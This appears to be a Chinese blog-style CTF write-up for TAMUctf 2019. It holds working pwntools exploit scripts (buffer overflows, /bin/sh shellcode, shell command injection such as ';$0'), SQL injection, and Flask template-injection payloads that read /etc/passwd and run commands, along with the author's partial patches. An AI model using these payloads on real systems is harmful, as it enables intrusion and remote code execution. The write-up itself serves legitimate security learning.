➜ pwn1 checksec pwn1[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn1/pwn1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
简单的过两个肉眼可见的cmp再加上gets覆盖栈上数据来进入getflag函数
#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.#flag = gigem{34sy_CC428ECD75A0D392}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn1')n = remote('pwn.tamuctf.com',4321)elf = ELF('./pwn1')
name = "Sir Lancelot of Camelot"quest = "To seek the Holy Grail."payload = 'a'*(0x3b-0x10)+p32(0xDEA110C8)
n.sendlineafter('name?',name)n.sendlineafter('quest?',quest)n.sendlineafter('secret?',payload)
n.interactive()
➜ pwn2 checksec pwn2[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn2/pwn2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
简单的看下反编译的结果
void __cdecl main(int argc, const char **argv, const char **envp){ char s[39]; // [esp+1h] [ebp-27h]
*&s[31] = &argc; setvbuf(stdout, &dword_0 + 2, 0, 0); puts("Which function would you like to call?"); gets(s); select_func(s);}void __cdecl select_func(char *src){ char dest; // [esp+Eh] [ebp-2Ah] int (*v2)(); // [esp+2Ch] [ebp-Ch]
v2 = two; strncpy(&dest, src, 31u); if ( !strcmp(&dest, "one") ) v2 = one; v2();}
gets可以造成栈溢出,最终只需要劫持程序执行流到printflag函数就行,strncpy中将src拷贝到dest上可以覆盖栈上的v2指针,而two函数和printflag函数只有最后一个字节不同,所以不用再去爆破一个1/16
#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{4ll_17_74k35_15_0n3}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn2')n = remote('pwn.tamuctf.com',4322)elf = ELF('./pwn2')
payload = 'a'*(0x2a-0xc)+'\xd8'n.sendlineafter('call?',payload)
n.interactive()
➜ pwn3 checksec pwn3[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn3/pwn3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled
NX没开,简单粗暴的猜测要写shellcode,稍微跑一下
➜ pwn3 ./pwn3Take this, you might need it on your journey 0xfffa3d0e!aaaa➜ pwn3
审计下反编译的结果
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, &dword_0 + 2, 0, 0); echo(); return 0;}void echo(){ char s; // [esp+Eh] [ebp-12Ah]
printf("Take this, you might need it on your journey %p!\n", &s); gets(&s);}
程序本身就leak出了s的地址,直接写个shellcode然后ret到栈上执行就行
#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{r3m073_fl46_3x3cu710n}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn3')n = remote('pwn.tamuctf.com',4323)elf = ELF('./pwn3')
n.recvuntil('0x')addr = int(n.recvuntil('!')[:-1],16)print hex(addr)shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";payload = shellcode.ljust(0x12a,'a')+'aaaa' + p32(addr)n.sendlineafter('',payload)
n.interactive()
➜ pwn4 checksec pwn4[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn4/pwn4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)➜ pwn4
看一下反编译的结果
void main(){ setvbuf(stdout, 2, 0, 0); while ( 1 ) laas();}void laas(){ char buf[33]; // [esp+7h] [ebp-21h]
puts("ls as a service (laas)(Copyright pending)"); puts("Enter the arguments you would like to pass to ls:"); gets(buf); if ( strchr(buf, 47) ) puts("No slashes allowed"); else run_cmd(buf);}void run_cmd(char *a1){ char cmd[27]; // [esp+2h] [ebp-26h]
snprintf(cmd, 0x1Bu, "ls %s", a1); printf("Result of %s:\n", cmd); system(cmd);}
一个简单的命令执行绕过,最终cmd的格式是 'ls '+str(command)
,能想到很多payload例如 &$0
, &&cat flag.txt
, |sed-n'1p'flag.txt
,很简单就不多说了,想挑战这类的命令执行pwnable.kr的cmd可以去做做
#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{5y573m_0v3rfl0w}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn4')n = remote('pwn.tamuctf.com',4324)elf = ELF('./pwn4')
payload = "& $0"n.sendlineafter('ls:',payload)n.sendline('/bin/cat flag.txt')n.interactive()
➜ pwn5 checksec pwn5[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn5/pwn5' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
反编译结果和上面基本一样,但多了字节限制,最终限制到了3个字节,刚好 ;$0
可以直接getshell,就直接去用了,不过感觉还有其他方法可以使用,希望能请教下有其他思路的师傅的思路
void __cdecl run_cmd(char *a1){ char cmd[6]; // [esp+6h] [ebp-12h]
snprintf(cmd, 7, "ls %s", a1); printf("Result of %s:\n", cmd); system(cmd);}
#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{r37urn_0r13n73d_pr4c71c3}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn5')n = remote('pwn.tamuctf.com',4325)elf = ELF('./pwn5')
payload = ';$0'n.sendlineafter('ls:',payload)n.interactive()
简单的通过ida获得反编译的代码后,能很直接的在main函数看到几串类似base64的字符串,直接写个脚本把base64解了flag就出来了
import base64print base64.b64decode('Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==')#flag = gigem{3a5y_R3v3r51N6!}
题目给了一个python的pyc包,直接找个在线反编译python的获得python源码
from datetime import datetimeFqaa = [ 102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125]XidT = [ 83, 117, 112, 101, 114, 83, 101, 99, 114, 101, 116, 75, 101, 121]
def main(): print 'Clock.exe' input = raw_input('>: ').strip() kUIl = '' for i in XidT: kUIl += chr(i)
if input == kUIl: alYe = '' for i in Fqaa: alYe += chr(i)
print alYe else: print datetime.now()
if __name__ == '__main__': main()
可以看出Fqaa数组里就是flag的ascii码,稍微转换一下flag就出来了
Fqaa = [102,108,97,103,123,100,101,99,111,109,112,105,108,101,125]def re(): flag = "" for i in Fqaa: flag += chr(i) print flag
re()#flag = flag{decompile}
题目给了个莫名其妙的汇编片段,逻辑很简单,稍微分析下就能得出最终是printf出栈上的flag,所以把栈上的数据转成char类型就能得到flag了,其他的我也稍微注释了一下,对要入门汇编的人来讲看起来也会比较好看
.section __TEXT,__text,regular,pure_instructions.build_version macos, 10, 14.globl _concat ## -- Begin function concat.p2align 4, 0x90_concat: ## @concat.cfi_startproc## %bb.0:pushq %rbp.cfi_def_cfa_offset 16.cfi_offset %rbp, -16movq %rsp, %rbp.cfi_def_cfa_register %rbpsubq $48, %rspmovq %rdi, -8(%rbp)movq %rsi, -16(%rbp)movq -8(%rbp), %rdicallq _strlen
movq -16(%rbp), %rdimovq %rax, -32(%rbp) ## 8-byte Spillcallq _strlen
movq -32(%rbp), %rsi ## 8-byte Reloadaddq %rax, %rsiaddq $1, %rsimovq %rsi, %rdicallq _malloc
movq $-1, %rdxmovq %rax, -24(%rbp)movq -24(%rbp), %rdimovq -8(%rbp), %rsicallq ___strcpy_chk
movq $-1, %rdxmovq -24(%rbp), %rdimovq -16(%rbp), %rsimovq %rax, -40(%rbp) ## 8-byte Spillcallq ___strcpy_chk
movq -24(%rbp), %rdxmovq %rax, -48(%rbp) ## 8-byte Spillmovq %rdx, %raxaddq $48, %rsppopq %rbpretq.cfi_endproc ## -- End function.globl _main ## -- Begin function main.p2align 4, 0x90_main: ## @main.cfi_startproc## %bb.0:pushq %rbp.cfi_def_cfa_offset 16.cfi_offset %rbp, -16movq %rsp, %rbp.cfi_def_cfa_register %rbpsubq $80, %rspleaq L_.str(%rip), %rdimovl $3, %eaxmovl $14, %ecxxorl %esi, %esimovl $8, %edx ## kill: def %rdx killed %edxleaq -16(%rbp), %r8movq ___stack_chk_guard@GOTPCREL(%rip), %r9movq (%r9), %r9movq %r9, -8(%rbp)movl $0, -20(%rbp)movq %rdi, -56(%rbp) ## 8-byte Spillmovq %r8, %rdimovl %ecx, -60(%rbp) ## 4-byte Spillmovl %eax, -64(%rbp) ## 4-byte Spillcallq _memset
movb $65, -16(%rbp) ## Amovb $53, -15(%rbp) ## 5movb $53, -14(%rbp) ## 5movb $51, -13(%rbp) ## 3movb $77, -12(%rbp) ## Mmovb $98, -11(%rbp) ## bmovb $49, -10(%rbp) ## 1movb $89, -9(%rbp) ## Ymovl $0, -28(%rbp) ## \x00movl $1, -32(%rbp)movl $2, -36(%rbp)movl -36(%rbp), %eaximull -36(%rbp), %eaximull -36(%rbp), %eaxmovl -28(%rbp), %ecxaddl -32(%rbp), %ecxaddl -32(%rbp), %ecxaddl -32(%rbp), %ecximull %ecx, %eaxcltdmovl -60(%rbp), %ecx ## 4-byte Reloadidivl %ecxmovl %eax, -40(%rbp)movl -36(%rbp), %eaximull -36(%rbp), %eaximull -36(%rbp), %eaxmovl -28(%rbp), %esiaddl -32(%rbp), %esiaddl -32(%rbp), %esiimull %esi, %eaxcltdmovl -64(%rbp), %esi ## 4-byte Reloadidivl %esimovl %eax, -44(%rbp)movl -40(%rbp), %esimovq -56(%rbp), %rdi ## 8-byte Reloadmovb $0, %alcallq _printf ## printf("The answer: %d");
leaq L_.str.1(%rip), %rdimovl -44(%rbp), %esimovl %eax, -68(%rbp) ## 4-byte Spillmovb $0, %alcallq _printf ## printf("Maybe it's this:%d",)
leaq L_.str.2(%rip), %rdileaq -16(%rbp), %rsimovl %eax, -72(%rbp) ## 4-byte Spillmovb $0, %alcallq _printf ##printf("gigem{%s}",flag);
movq ___stack_chk_guard@GOTPCREL(%rip), %rsimovq (%rsi), %rsimovq -8(%rbp), %rdicmpq %rdi, %rsimovl %eax, -76(%rbp) ## 4-byte Spilljne LBB1_2## %bb.1:xorl %eax, %eaxaddq $80, %rsppopq %rbpretqLBB1_2:callq ___stack_chk_failud2.cfi_endproc ## -- End function.section __TEXT,__cstring,cstring_literalsL_.str: ## @.str.asciz "The answer: %d\n"
L_.str.1: ## @.str.1.asciz "Maybe it's this:%d\n"
L_.str.2: ## @.str.2.asciz "gigem{%s}\n"
.subsections_via_symbols
简单审计过后发现是道中规中矩的KeyCheck题,看一下反编译结果
int __cdecl main(int argc, const char **argv, const char **envp){ char v3; // al FILE *stream; // [rsp+8h] [rbp-C8h] char key[65]; // [rsp+10h] [rbp-C0h] char flag; // [rsp+60h] [rbp-70h] unsigned __int64 v8; // [rsp+C8h] [rbp-8h]
v8 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); puts("\nPlease Enter a product key to continue: "); fgets(key, 65, stdin); verify_key(key); if ( v3 ) { stream = fopen("flag.txt", "r"); if ( !stream ) { puts("Too bad the flag is only on the remote server!"); return 0; } fgets(&flag, 100, stream); printf("%s", &flag); } return 0;}
_BYTE *__fastcall enc(const char *key){ unsigned __int8 v2; // [rsp+1Fh] [rbp-11h] int i; // [rsp+20h] [rbp-10h] int len; // [rsp+24h] [rbp-Ch] _BYTE *v5; // [rsp+28h] [rbp-8h]
v5 = malloc(0x40uLL); len = strlen(key); v2 = 0x48; for ( i = 0; i < len; ++i ) { v5[i] = ((key[i] + 12) * v2 + 17) % 70 + 0x30; v2 = v5[i]; } return v5;}
程序的逻辑大致是,先输入一个key,然后对这个key进行一系列变换操作后与题目所给的字符串进行比较,如果一致就能得到flag
思路很清晰,通过爆破可见字符获得一个可行解(这题的key不唯一刚开始脑抽了以为解是flag去算所有解,哭。
# flag = gigem{k3y63n_m3?_k3y63n_y0u!}from pwn import*n = remote('rev.tamuctf.com',7223)key = ""enc = "[OIonU2_<__nK<KsK"v5 = list(enc)v2 = 0x48
for j in range(32,127): if ord(v5[0])==((j+12)*0x48+17)%70+0x30: key += chr(j) break
for i in range(1,17): for j in range(32,127): if ord(v5[i])==((j+12)*ord(v5[i-1])+17)%70+0x30: key += chr(j) break
print keyn.sendafter('continue: ',key)n.interactive()
这题就有意思了,main函数和上一题一样就不贴了,我们着重来看下verify_key
_BOOL8 __fastcall verify_key(const char *key){ size_t size; // rax _BOOL8 result; // rax bool v3; // al
if ( strlen(key) > 28 ) { v3 = check_01(key) && check_02(key) && check_03(key) && check_04(key) && check_05(key) && check_06(key) && check_07(key) && check_08(key) && check_09(key) && check_0A(key) && check_0B(key) && check_0C(key) && check_0D(key) && check_0E(key) && check_0F(key); result = v3; } else { size = strlen(key); printf("Key was too short %d.\n", size); result = 0LL; } return result;}
巨多分支,看着瑟瑟发抖,都不想点进去看,angr一把梭!
事实证明angr去做这种 一堆check条件
的求约束是真的好用,angr多学学稳赚的,万一遇到比这个更复杂的条件的题,angr写好放那跑,万一跑出来了呢(笑@)
#flag = gigem{z3_b3st_thr33}from pwn import*import angrn = remote('rev.tamuctf.com',8189)logging.getLogger('angr').setLevel('INFO')
proj = angr.Project("./prodkey")state = proj.factory.entry_state()state.posix.fd[0].size = 28simgr = proj.factory.simgr(state)
simgr.explore(find=0x400e5d, avoid=[0x400Cd0])key = list(simgr.found[0].posix.dumps(0))
payload = ""for i in key: payload += chr(i)
n.sendafter('continue: ',payload)
n.interactive()
看上去就很恶心的反编译,把那些函数名简化一下结合着gdb去一步步调然后看输入的东西是怎么变化的
from pwn import*n = remote('rev.tamuctf.com',7224)a = [0xAE, 0x9E, 0xFF, 0x9C, 0xAB, 0xC7, 0xD3, 0x81, 0xE7, 0xEE,0xFB, 0x8A, 0x9D, 0xEF, 0x8D, 0xAE]b = [0xBF, 0xCC, 0xDF, 0x8E]key = ''for i in range(len(a)): key += chr(a[i]^b[i%4]^97)
n.sendlineafter(': ',key)n.interactive()
一看就知道是莫斯电码,但和平时国内ctf用的di-dah不太一样,多了个dit,搜一下得到这种是 InternationalMorseCode
的标准,写个脚本转换一下得到
0X57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149
转换一下
cip = 0x57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149print hex(cip)[2:len(hex(cip))-1].decode('hex')#Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn!1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI
flag就出来了
简单的rsa题,给了n、e、c,都很小,直接分解n然后求d接着pow(c,d,n)
解出rsa后有点小坑,正常我都是输出十六进制的,但这题要输出十进制然后手工ascii转字符
import gmpyp = gmpy.mpz(509)q = gmpy.mpz(4973)#d = 58739e = gmpy.mpz(43)phi_n= (p - 1) * (q - 1)d = gmpy.invert(e, phi_n)n = 2531257result = [906851,991083,1780304,2380434,438490,356019,921472,822283,817856,556932,2102538,2501908,2211404,991083,1562919,38268]
for i in result: print pow(int(i),d,n)
key = [103,105,103,101,109,123,83,97,118,97,103,101,95,83,105,120,95,70,108,121,105,110,103,95,84,105,103,101,114,115,125]flag = ""for i in key: flag += chr(i)
print flag
典型的背包加密,有几个要先了解下
加密方式
$ciptext = \sum{i=1}^{i=n}biv_i$
public_key:
$bi=waimod({m})$
public_key条件
$m=am>\sum{i=1}^{i=m-1}a_i$(最末项大于前面所有项求和)
通过尝试可以发现cip是四个一组来解的,直接用sage来解(矩阵运算无敌好用的sage)然后得到flag
encoded = '11b90d6311b90ff90ce610c4123b10c40ce60dfa123610610ce60d450d000ce61061106110c4098515340d4512361534098509270e5d09850e58123610c9'#encoded = 0x11b9pubKey=[99, 1235, 865, 990, 5, 1443, 895, 1477]nbit = len(pubKey)enc =0flag = ""for enc in range(0,len(encoded)/4): A = Matrix(ZZ, nbit + 1, nbit + 1) for i in xrange(nbit): A[i, i] = 1 for i in xrange(nbit): A[i, nbit] = pubKey[i]
A[nbit, nbit] = -int(encoded[4*enc:4*(enc+1)],16) res = A.LLL() #print res if enc>len(encoded)-1: break inm = 1 for i in range(0,nbit+1): for j in range(0,nbit+1): if res[i][j]!=0 and res[i][j]!=1: inm = 0 if inm!=0: flag += chr(int("".join([str(x) for x in res[i][::-1]]),2)) inm = 1
print flag
没waf的sql注入,构造 admin' or 1=1 #
注释掉后面的东西登录admin帐号拿到flag
flag:gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}!
看到robots就想到要去看robots.txt,访问后发现
User-agent: *
WHAT IS UP, MY FELLOW HUMAN!HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!
伪造下use agents为 Googlebot/2.1(+http://www.google.com/bot.html)
get flag
User-agent: *
THE HUMANS SUSPECT NOTHING!HERE IS THE SECRET INFORMATION: gigem{be3p-bOop_rob0tz_4-lyfe}LONG LIVE THE GOOGLEBOTS!
看到 (FlaskasaService)
,联想到会不会是flask模板注入,先搓个读文件的payload
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
成功返回文件内容
The result of combining root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin webuser:x:1000:1001::/opt/tamuctf:/bin/sh and is:
这时就有两条路可走,由于我们通过前面几题知道flag在flag.txt里,所以只需要读 ./flag.txt
就能得到flag,而第二种做法是我们去创造一个命令执行说的厉害点就是RCE,payload如下
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls && cat flag.txt').read()")}}{%endif%}{%endfor%}
flag被分在了三个地方,基本查看下源码然后有些脑洞,看到饼干联想到要去看cookie,这题就解出来了
flag=gigem{flag_in_source_and_cookies}
这三题感觉就是用来检验会不会用搜索引擎的,百度一下都能搜到结果
ip = 52.33.57.247trust = Let’s Encrypt Authority X3addr = Boardman
给了一个png文件,可以分离出来有一个压缩包解压一下,然后在 /output/zip/word/media/image1.png
的最后一行发现有段base64,解一下发现是flag
import base64print base64.b64decode('ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K==')#'flag{P0lYt@r_D0_y0u_G3t_It_N0w?}\n'
这类型的题目还是第一次见,感觉对线下的ad挺有帮助的,虽然这是直接给了源码让你改(笑)
给了一个gitlab,看一下给的仓库,很容易找到问题在login.php里
<?php ini_set('display_errors', 'On'); error_reporting(E_ALL | E_STRICT); echo "<html>"; if (isset($_POST["username"]) && isset($_POST["password"])) { $servername = "localhost"; $username = "sqli-user"; $password = 'AxU3a9w-azMC7LKzxrVJ^tu5qnM_98Eb'; $dbname = "SqliDB"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) die("Connection failed: " . $conn->connect_error); $user = $_POST['username']; $pass = $_POST['password']; $sql = "SELECT * FROM login WHERE User='$user' AND Password='$pass'"; if ($result = $conn->query($sql)) { if ($result->num_rows >= 1) { $row = $result->fetch_assoc(); echo "You logged in as " . $row["User"]; $row = $result->fetch_assoc(); echo "<html>You logged in as " . $row["User"] . "</html>\n"; } else { echo "Sorry to say, that's invalid login info!"; } } $conn->close(); } else echo "Must supply username and password..."; echo "</html>";?>
我们可以看到有 $user=$_POST['username'];
,也就是直接把输入的东西传入拼接sql语句,未进行任何脏数据的过滤,于是我加了个 addslashes()
来对输入进行转义
<?php ini_set('display_errors', 'On'); error_reporting(E_ALL | E_STRICT); echo "<html>"; if (isset($_POST["username"]) && isset($_POST["password"])) { $servername = "localhost"; $username = "sqli-user"; $password = 'AxU3a9w-azMC7LKzxrVJ^tu5qnM_98Eb'; $dbname = "SqliDB"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) die("Connection failed: " . $conn->connect_error); $user = addslashes($_POST['username']); $pass = addslashes($_POST['password']); $sql = "SELECT * FROM login WHERE User='$user' AND Password='$pass'"; if ($result = $conn->query($sql)) { if ($result->num_rows >= 1) { $row = $result->fetch_assoc(); echo "You logged in as " . $row["User"]; $row = $result->fetch_assoc(); echo "<html>You logged in as " . $row["User"] . "</html>\n"; } else { echo "Sorry to say, that's invalid login info!"; } } $conn->close(); } else echo "Must supply username and password..."; echo "</html>";?>
然后就成功过check
Service Check Succeeded After Attackflag: gigem{the_best_damn_sql_anywhere}
仓库里有个vuln.c,稍微看下内容
#include <stdio.h>#include <stdlib.h>
void echo(){ printf("%s", "Enter a word to be echoed:\n"); char buf[128]; gets(buf); printf("%s\n", buf);}
int main(){ echo();}
漏洞很明显,用了gets造成了栈溢出,把gets换成 read(0,buf,128)
就能过check了
{"msg": "Service Check Succeeded After Attack\nflag: gigem{check_that_buffer_size_baby}"}
这题和web那题flask模板注入的名字一样,emmmm好像就是那题的源码,还是老问题,在 view.py
中未对输入进行过滤加个 escape()
转义下,最终 view.py
如下
import requestsimport jsonimport sysimport refrom tamuctf import appfrom flask import Flask, render_template, request, jsonify, render_template_string
@app.route('/')@app.route('/index')def index():
return render_template('index.html')
@app.route('/science', methods=['POST'])def science(): try: chem1 = re.escape(request.form['chem1']) chem2 = re.escape(request.form['chem2']) template = '''<html> <div style="text-align:center"> <h3>The result of combining {} and {} is:</h3></br> <iframe src="https://giphy.com/embed/AQ2tIhLp4cBa" width="468" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div> </html>'''.format(chem1, chem2)
return render_template_string(template, dir=dir, help=help, locals=locals) except: return "Something went wrong"
成功过check
{"msg": "Service Check Succeeded After Attack\nflag: gigem{br0k3n_fl4sk_2d88bb862569}"}
渗透看了看发现主机扫玩端口后就啥也搞不懂了,虽然找了找相关端口和软件的cve,但一点用都没有……,pwn题最后一题很难过的是发现了可以无限任意地址读写的函数但第一个while循环找不到break出来的方法,果然我还是太菜了,这么一大堆基础的都不会,不过好歹算认知到了这个事实,接下来要好好的学习补充了……